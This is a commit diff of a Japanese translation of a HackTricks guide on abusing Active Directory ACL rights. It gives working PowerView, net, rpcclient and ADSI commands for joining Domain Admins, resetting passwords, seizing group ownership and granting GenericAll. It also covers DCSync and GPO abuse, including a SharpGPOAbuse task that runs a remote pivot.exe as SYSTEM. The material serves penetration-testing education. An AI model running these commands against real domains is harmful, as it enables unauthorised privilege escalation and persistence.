Translated ['src/windows-hardening/active-directory-methodology/acl-pers

This commit is contained in:
Translator 2025-05-28 18:48:17 +00:00
parent 20ad8653a0
commit c7bcfeee01

View File

@ -2,12 +2,12 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
**このページは主に** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **および** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**の技術の要です。詳細については、元の記事を確認してください。** **このページは主に** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **および** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**からの技術の要です。詳細については、元の記事を確認してください。**
## BadSuccesor ## BadSuccessor
{{#ref}} {{#ref}}
BadSuccesor.md BadSuccessor.md
{{#endref}} {{#endref}}
## **ユーザーに対するGenericAll権限** ## **ユーザーに対するGenericAll権限**
@ -29,7 +29,7 @@ Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
この特権により、攻撃者は `Domain Admins` のようなグループに対して `GenericAll` 権限を持っている場合、グループメンバーシップを操作することができます。`Get-NetGroup` を使用してグループの識別名を特定した後、攻撃者は次のことができます: この特権により、攻撃者は `Domain Admins` のようなグループに対して `GenericAll` 権限を持っている場合、グループメンバーシップを操作することができます。`Get-NetGroup` を使用してグループの識別名を特定した後、攻撃者は次のことができます:
- **自分をDomain Adminsグループに追加する**これは、直接コマンドを使用するか、Active DirectoryやPowerSploitのようなモジュールを使用して行うことができます。 - **自分自身を Domain Admins グループに追加する**: これは、直接コマンドを使用するか、Active Directory PowerSploit のようなモジュールを使用して行うことができます。
```bash ```bash
net group "domain admins" spotless /add /domain net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless Add-ADGroupMember -Identity "domain admins" -Members spotless
@ -46,7 +46,7 @@ Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.
特定のグループ(例:`Domain Admins`)のすべてのオブジェクトに対して`WriteProperty`権限を持つユーザーは、以下を行うことができます: 特定のグループ(例:`Domain Admins`)のすべてのオブジェクトに対して`WriteProperty`権限を持つユーザーは、以下を行うことができます:
- **自分自身をDomain Adminsグループに追加する**: `net user``Add-NetGroupUser`コマンドを組み合わせることで実現可能であり、この方法はドメイン内での権限昇格を可能にします。 - **自分自身をDomain Adminsグループに追加する**: `net user``Add-NetGroupUser`コマンドを組み合わせることで実現可能で、この方法はドメイン内での権限昇格を可能にします。
```bash ```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
``` ```
@ -65,7 +65,7 @@ net group "domain admins" spotless /add /domain
``` ```
## **ForceChangePassword** ## **ForceChangePassword**
`User-Force-Change-Password`のためにユーザーに対して`ExtendedRight`を保持することで、現在のパスワードを知らなくてもパスワードのリセットが可能になります。この権利の確認とその悪用は、PowerShellや代替のコマンドラインツールを通じて行うことができ、インタラクティブセッションや非インタラクティブ環境向けのワンライナーを含む、ユーザーのパスワードをリセットするためのいくつかの方法を提供します。コマンドは、シンプルなPowerShellの呼び出しからLinux上での`rpcclient`の使用まで多岐にわたり、攻撃ベクトルの多様性を示しています。 `User-Force-Change-Password`のためのユーザーに対する`ExtendedRight`を保持することで、現在のパスワードを知らなくてもパスワードをリセットできます。この権利の確認とその悪用は、PowerShellや代替のコマンドラインツールを通じて行うことができ、インタラクティブセッションや非インタラクティブ環境向けのワンライナーを含む、ユーザーのパスワードをリセットするためのいくつかの方法を提供します。コマンドは、シンプルなPowerShellの呼び出しからLinux上での`rpcclient`の使用まで多岐にわたり、攻撃ベクトルの多様性を示しています。
```bash ```bash
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose Set-DomainUserPassword -Identity delegate -Verbose
@ -78,7 +78,7 @@ rpcclient -U KnownUsername 10.10.10.192
``` ```
## **WriteOwner on Group** ## **WriteOwner on Group**
攻撃者がグループに対して `WriteOwner` 権限を持っていることが判明した場合、彼らはそのグループの所有権を自分自身に変更することができます。これは、問題のグループが `Domain Admins` の場合に特に影響が大きく、所有権を変更することでグループの属性やメンバーシップに対するより広範な制御が可能になります。このプロセスは、`Get-ObjectAcl` を使用して正しいオブジェクトを特定し、その後 `Set-DomainObjectOwner` を使用して所有者を SID または名前で変更することを含みます。 攻撃者がグループに対して `WriteOwner` 権限を持っていることがわかった場合、彼らはそのグループの所有権を自分自身に変更することができます。これは、問題のグループが `Domain Admins` の場合に特に影響が大きく、所有権を変更することでグループの属性やメンバーシップに対するより広範な制御が可能になります。このプロセスは、`Get-ObjectAcl` を使用して正しいオブジェクトを特定し、その後 `Set-DomainObjectOwner` を使用して所有者を SID または名前で変更することを含みます。
```bash ```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -102,7 +102,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
``` ```
## **WriteDACL + WriteOwner** ## **WriteDACL + WriteOwner**
ADオブジェクトを所有し、その上で`WriteDACL`権限を持つことは、攻撃者がオブジェクトに対して`GenericAll`権限を付与することを可能にします。これはADSI操作を通じて実現され、オブジェクトに対する完全な制御とそのグループメンバーシップを変更する能力を提供します。それにもかかわらず、Active Directoryモジュールの`Set-Acl` / `Get-Acl` cmdletを使用してこれらの権限を悪用しようとする際には制限があります。 ADオブジェクトを所有し、その上で`WriteDACL`権限を持つことは、攻撃者が自分自身に対してオブジェクトに対する`GenericAll`権限を付与できることを意味します。これはADSI操作を通じて実現され、オブジェクトに対する完全な制御とそのグループメンバーシップを変更する能力を提供します。それにもかかわらず、Active Directoryモジュールの`Set-Acl` / `Get-Acl` cmdletを使用してこれらの権限を悪用しようとする制限があります。
```bash ```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -112,17 +112,17 @@ $ADSI.psbase.commitchanges()
``` ```
## **ドメイン上のレプリケーション (DCSync)** ## **ドメイン上のレプリケーション (DCSync)**
DCSync攻撃は、ドメイン上の特定のレプリケーション権限を利用して、ドメインコントローラーを模倣し、ユーザーの資格情報を含むデータを同期します。この強力な手法は、`DS-Replication-Get-Changes`のような権限を必要とし、攻撃者がドメインコントローラーへの直接アクセスなしにAD環境から機密情報を抽出することを可能にします。[**DCSync攻撃の詳細はこちら。**](../dcsync.md) DCSync攻撃は、ドメイン上の特定のレプリケーション権限を利用して、ドメインコントローラーを模倣し、ユーザーの資格情報を含むデータを同期します。この強力な技術は、`DS-Replication-Get-Changes`のような権限を必要とし、攻撃者がドメインコントローラーへの直接アクセスなしにAD環境から機密情報を抽出することを可能にします。[**DCSync攻撃の詳細はこちら。**](../dcsync.md)
## GPO委任 <a href="#gpo-delegation" id="gpo-delegation"></a> ## GPO委任 <a href="#gpo-delegation" id="gpo-delegation"></a>
### GPO委任 ### GPO委任
グループポリシーオブジェクト (GPO) を管理するための委任されたアクセスは、重大なセキュリティリスクをもたらす可能性があります。たとえば、`offense\spotless`のようなユーザーにGPO管理権限が委任されると、**WriteProperty**、**WriteDacl**、**WriteOwner**のような特権を持つ可能性があります。これらの権限は、PowerViewを使用して特定された悪用のために利用される可能性があります: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` グループポリシーオブジェクト (GPO) を管理するための委任されたアクセスは、重大なセキュリティリスクをもたらす可能性があります。たとえば、`offense\spotless`のようなユーザーにGPO管理権限が委任されると、**WriteProperty**、**WriteDacl**、および**WriteOwner**のような特権を持つ可能性があります。これらの権限は、PowerViewを使用して特定された悪用のために利用される可能性があります: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
### GPO権限の列挙 ### GPO権限の列挙
誤って構成されたGPOを特定するために、PowerSploitのcmdletを連結することができます。これにより、特定のユーザーが管理権限を持つGPOを発見することができます: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` 誤って構成されたGPOを特定するために、PowerSploitのcmdletを連結して使用できます。これにより、特定のユーザーが管理権限を持つGPOを発見できます: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**適用されたポリシーを持つコンピュータ**: 特定のGPOが適用されるコンピュータを解決することが可能で、潜在的な影響の範囲を理解するのに役立ちます。 `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` **適用されたポリシーを持つコンピュータ**: 特定のGPOが適用されるコンピュータを解決することが可能で、潜在的な影響の範囲を理解するのに役立ちます。 `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
@ -130,7 +130,7 @@ DCSync攻撃は、ドメイン上の特定のレプリケーション権限を
**特定のポリシーが適用されたOU**: 特定のポリシーに影響を受ける組織単位 (OU) を特定するには、`Get-DomainOU`を使用できます。 **特定のポリシーが適用されたOU**: 特定のポリシーに影響を受ける組織単位 (OU) を特定するには、`Get-DomainOU`を使用できます。
また、ツール[**GPOHound**](https://github.com/cogiceo/GPOHound)を使用してGPOを列挙し、問題を見つけることもできます。 また、[**GPOHound**](https://github.com/cogiceo/GPOHound)ツールを使用してGPOを列挙し、問題を見つけることもできます。
### GPOの悪用 - New-GPOImmediateTask ### GPOの悪用 - New-GPOImmediateTask
@ -147,25 +147,25 @@ Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "
``` ```
### SharpGPOAbuse - GPOの悪用 ### SharpGPOAbuse - GPOの悪用
SharpGPOAbuseは、既存のGPOを悪用する方法を提供し、新しいGPOを作成することなくタスクを追加したり設定を変更したりします。このツールは、変更を適用する前に既存のGPOを変更するか、RSATツールを使用して新しいGPOを作成する必要があります。 SharpGPOAbuseは、既存のGPOを悪用する方法を提供し、新しいGPOを作成することなくタスクを追加したり設定を変更したりします。このツールは、変更を適用する前に既存のGPOを変更するか、新しいGPOを作成するためにRSATツールを使用する必要があります。
```bash ```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
``` ```
### 強制ポリシー更新 ### 強制ポリシー更新
GPOの更新は通常90分ごとに行われます。このプロセスを迅速化するために、特に変更を実施した後に、ターゲットコンピュータ上で`gpupdate /force`コマンドを使用して即時のポリシー更新を強制することができます。このコマンドは、次の自動更新サイクルを待たずにGPOへの変更が適用されることを保証します。 GPOの更新は通常90分ごとに行われます。このプロセスを迅速化するために、特に変更を実施した後に、ターゲットコンピュータ上で`gpupdate /force`コマンドを使用して即時のポリシー更新を強制することができます。このコマンドは、GPOへの変更が次の自動更新サイクルを待たずに適用されることを保証します。
### 背景 ### 背景
特定のGPO、例えば`Misconfigured Policy`のスケジュールされたタスクを検査すると、`evilTask`のようなタスクの追加が確認できます。これらのタスクは、システムの動作を変更したり特権を昇格させたりすることを目的としたスクリプトやコマンドラインツールを通じて作成されます。 特定のGPO、例えば`Misconfigured Policy`のスケジュールされたタスクを検査すると、`evilTask`のようなタスクの追加が確認できます。これらのタスクは、システムの動作を変更したり特権を昇格させたりすることを目的としたスクリプトやコマンドラインツールを通じて作成されます。
`New-GPOImmediateTask`によって生成されたXML構成ファイルに示されているタスクの構造は、実行されるコマンドやそのトリガーを含むスケジュールされたタスクの詳細を概説しています。このファイルは、GPO内でスケジュールされたタスクがどのように定義され管理されるかを示し、ポリシーの強制の一環として任意のコマンドやスクリプトを実行する方法を提供します。 `New-GPOImmediateTask`によって生成されたXML構成ファイルに示されているタスクの構造は、スケジュールされたタスクの具体的な内容を示しています - 実行されるコマンドやそのトリガーを含ます。このファイルは、GPO内でスケジュールされたタスクがどのように定義され、管理されるかを表しており、ポリシーの強制の一環として任意のコマンドやスクリプトを実行する方法を提供します。
### ユーザーとグループ ### ユーザーとグループ
GPOは、ターゲットシステム上のユーザーおよびグループのメンバーシップを操作することも可能です。ユーザーとグループのポリシーファイルを直接編集することで、攻撃者はローカルの`administrators`グループなどの特権グループにユーザーを追加できます。これは、GPO管理権限の委任を通じて可能であり、新しいユーザーを含めたりグループメンバーシップを変更したりするためのポリシーファイルの修正を許可します。 GPOは、ターゲットシステム上のユーザーおよびグループのメンバーシップを操作することも可能です。ユーザーとグループのポリシーファイルを直接編集することで、攻撃者はローカルの`administrators`グループなどの特権グループにユーザーを追加することができます。これは、GPO管理権限の委任を通じて可能であり、新しいユーザーを含めたりグループメンバーシップを変更したりするためのポリシーファイルの修正を許可します。
ユーザーとグループのXML構成ファイルは、これらの変更がどのように実施されるかを概説しています。このファイルにエントリを追加することで、特定のユーザーに影響を受けるシステム全体で昇格された特権を付与することができます。この方法は、GPO操作を通じた特権昇格の直接的なアプローチを提供します。 ユーザーとグループのXML構成ファイルは、これらの変更がどのように実施されるかをしています。このファイルにエントリを追加することで、特定のユーザーに影響を受けるシステム全体で昇格された特権を付与することができます。この方法は、GPO操作を通じた特権昇格の直接的なアプローチを提供します。
さらに、ログオン/ログオフスクリプトの活用、オートランのためのレジストリキーの変更、.msiファイルを介したソフトウェアのインストール、サービス構成の編集など、コードを実行したり持続性を維持したりするための追加の方法も考慮できます。これらの技術は、GPOの悪用を通じてターゲットシステムへのアクセスを維持し、制御するためのさまざまな手段を提供します。 さらに、ログオン/ログオフスクリプトの活用、オートランのためのレジストリキーの変更、.msiファイルを介したソフトウェアのインストール、サービス構成の編集など、コードを実行したり持続性を維持したりするための追加の方法も考慮できます。これらの技術は、GPOの悪用を通じてターゲットシステムへのアクセスを維持し、制御するためのさまざまな手段を提供します。